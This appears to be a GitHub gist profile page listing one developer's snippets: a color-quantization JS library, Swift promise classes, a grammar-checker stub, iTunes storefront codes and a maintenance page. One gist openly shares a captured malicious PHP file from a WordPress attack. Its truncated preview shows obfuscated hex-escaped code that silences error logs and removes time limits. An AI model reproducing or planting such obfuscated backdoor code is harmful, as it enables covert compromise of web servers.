Skip to content

Instantly share code, notes, and snippets.

View loretoparisi's full-sized avatar
🐍
NightShift

Loreto Parisi loretoparisi

🐍
NightShift
View GitHub Profile
@loretoparisi
loretoparisi / gist:fe6e5cf889bb2c8f2099
Created October 23, 2015 22:25
Basic Javascript port of the MMCQ (modified median cut quantization) - quantize.js Copyright 2008 Nick Rabinowitz.
/*!
* quantize.js Copyright 2008 Nick Rabinowitz.
* Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php
*/
// fill out a couple protovis dependencies
/*!
* Block below copied from Protovis: http://mbostock.github.com/protovis/
* Copyright 2010 Stanford Visualization Group
* Licensed under the BSD License: http://www.opensource.org/licenses/bsd-license.php
Unicode Emoji
http://unicode.org/emoji/charts/full-emoji-list.html#1f4a3
http://apps.timwhitlock.info/emoji/tables/unicode
From U+1F4A3 to \U0001F4A3 fill heading `0` zeros to get 8 digits
@loretoparisi
loretoparisi / gist:19d8656ba2003ed4dc52
Created November 24, 2015 18:04
Base64 Representation of a JPEG Image
/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAQCAwMDAgQDAwMEBAQEBQkGBQUFBQsICAYJDQsNDQ0L
DAwOEBQRDg8TDwwMEhgSExUWFxcXDhEZGxkWGhQWFxb/2wBDAQQEBAUFBQoGBgoWDwwPFhYWFhYW
FhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhb/wgARCAH0BswDASIA
AhEBAxEB/8QAHAABAQADAQEBAQAAAAAAAAAAAAEDBAUCBgcI/8QAGgEBAQEBAQEBAAAAAAAAAAAA
AAECAwQFBv/aAAwDAQACEAMQAAAB/UKltAAsDmb/AM14u+iT4H0KllRQgAEKilUlBLIlWgS3zQsi
WUsFCLKqAKEARKlJZVik7fc+O+p+94din0PMAAsCygBBQVEVAQUAAUgTDkwZt5eX5rh28a3RzeP0
c7Nu4+HXR97GLOtfFBNfHgm9vH4zGh63vWnPybGpZ1dn5jauM3zv1upp8tsaHH6X6jxxd+Ov70N7
GvfvBk09dDl5rj9D7n5R9h6fL9b6w+/X5sjyufQAAsSwBQAABBZQlAABSKIoAIAABAVPJ5jD8p0e
P8T6FHzvQ9SkEKEsi+oogWKJZZZKFkslFBCFAkJYtJYQJ94l/WfJlQoEY5dH5ve0Pz30YjydvV80
JQvksQ9IABSy+aqItAlstnokSBSBZbZIkr0lWyRLZ6PIKlJQJR2OPl9PP7K6m3+i+aRuUACwUhQE
@loretoparisi
loretoparisi / gist:cd9e06fa51e9a0784a92
Created December 15, 2015 11:10
Sample Swift class (Remobjects cross-library test)
import Sugar
public class MiaClasse2 {
public func add (var a: Int, var b: Int) -> Int {
return a + b;
}
public func diff( var a:Int, var b:Int) -> Int {
return (a>b ? a-b : b-a);
@loretoparisi
loretoparisi / gist:f3e5b47449d983cd0838
Last active December 16, 2015 16:16
Promise in Swift 2.0
//
// Promise.swift
// CrossTest
//
// Created by Loreto Parisi on 16/12/15.
// Modified from https://github.com/RokkinCat/Swift-Promises
//
class Deferred: Promise {
@loretoparisi
loretoparisi / gist:8879c16cc6f6f205fbd5
Last active December 16, 2015 17:54
Promise in Swift 2.0 - no extension
//
// Promise.swift
// CrossTest
//
// Created by Loreto Parisi on 16/12/15.
//
class Deferred: Promise {
var promise:Promise
@loretoparisi
loretoparisi / promise-node-grammar-example.js
Last active February 19, 2016 12:33
Node + Promite + Gingerbread - example for online spelling and grammar corrector Ginger
/**
* Musixmatch Grammar checker
* @author Loreto Parisi (loretoparisi at musixmatch dot com)
* @2015-2016 Musixmatch Spa.
*/
var MXMGrammar = {
/**
* Grammar corrections to array of text
*/
@loretoparisi
loretoparisi / render.php
Last active February 25, 2016 23:59
Malicious PHP file from Wordpress 4.1 attack
<?php ${"G\x4cO\x42\x41\x4c\x53"}["\x78\x77\x79\x75\x72s\x67\x6b"]="\x76a\x6c\x75\x65";${"\x47\x4c\x4f\x42\x41L\x53"}["d\x65\x72\x6b\x73\x74\x76"]="o\x75t\x5f\x64a\x74\x61";${"\x47L\x4f\x42AL\x53"}["\x6al\x79\x78\x79\x6ad\x64e\x78\x6f"]="\x6b\x65y";${"\x47\x4c\x4f\x42\x41L\x53"}["\x64\x70\x64km\x63gv\x76"]="\x6a";${"GL\x4f\x42AL\x53"}["\x6d\x77\x62\x79\x7a\x79\x62u\x6a"]="\x69";${"\x47L\x4fBA\x4cS"}["s\x6az\x66\x69sei\x74\x75"]="\x64\x61\x74\x61\x5f\x6be\x79";${"G\x4c\x4f\x42A\x4c\x53"}["\x6d\x65d\x69\x64m\x70\x6eo\x73"]="\x64\x61\x74\x61";@ini_set("\x65\x72r\x6f\x72_l\x6f\x67",NULL);$qtbsgvf="d\x61\x74\x61";@ini_set("l\x6f\x67\x5f\x65rror\x73",0);@ini_set("\x6da\x78_exe\x63utio\x6e\x5f\x74\x69m\x65",0);@set_time_limit(0);$mtbxmnj="d\x61\x74\x61\x5f\x6be\x79";if(!defined("P\x48P_\x45\x4f\x4c")){define("\x50H\x50\x5fE\x4fL","\n");}if(!defined("\x44IR\x45C\x54\x4fRY\x5fSEPA\x52A\x54O\x52")){define("\x44I\x52E\x43TOR\x59\x5f\x53E\x50A\x52\x41T\x4fR","/");}${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6d\x65d\x69d\x6d\x70\
@loretoparisi
loretoparisi / itunes_storefrontid_list.json
Created February 26, 2016 13:28
iTunes Country Codes and Storefront IDs returned by SKCloudServiceController requestStorefrontIdentifierWithCompletionHandler - https://affiliate.itunes.apple.com/resources/documentation/linking-to-the-itunes-music-store/
{
"DZ": {
"country_name": "Algeria",
"country_code": "DZ",
"itunes_storefront_id": "143563"
},
"AO": {
"country_name": "Angola",
"country_code": "AO",
"itunes_storefront_id": "143564"
@loretoparisi
loretoparisi / gist:b797a7c3f6453f1af88a
Created March 1, 2016 10:55 — forked from pitch-gist/gist:2999707
HTML: Simple Maintenance Page
<!doctype html>
<title>Site Maintenance</title>
<style>
body { text-align: center; padding: 150px; }
h1 { font-size: 50px; }
body { font: 20px Helvetica, sans-serif; color: #333; }
article { display: block; text-align: left; width: 650px; margin: 0 auto; }
a { color: #dc8100; text-decoration: none; }
a:hover { color: #333; text-decoration: none; }
</style>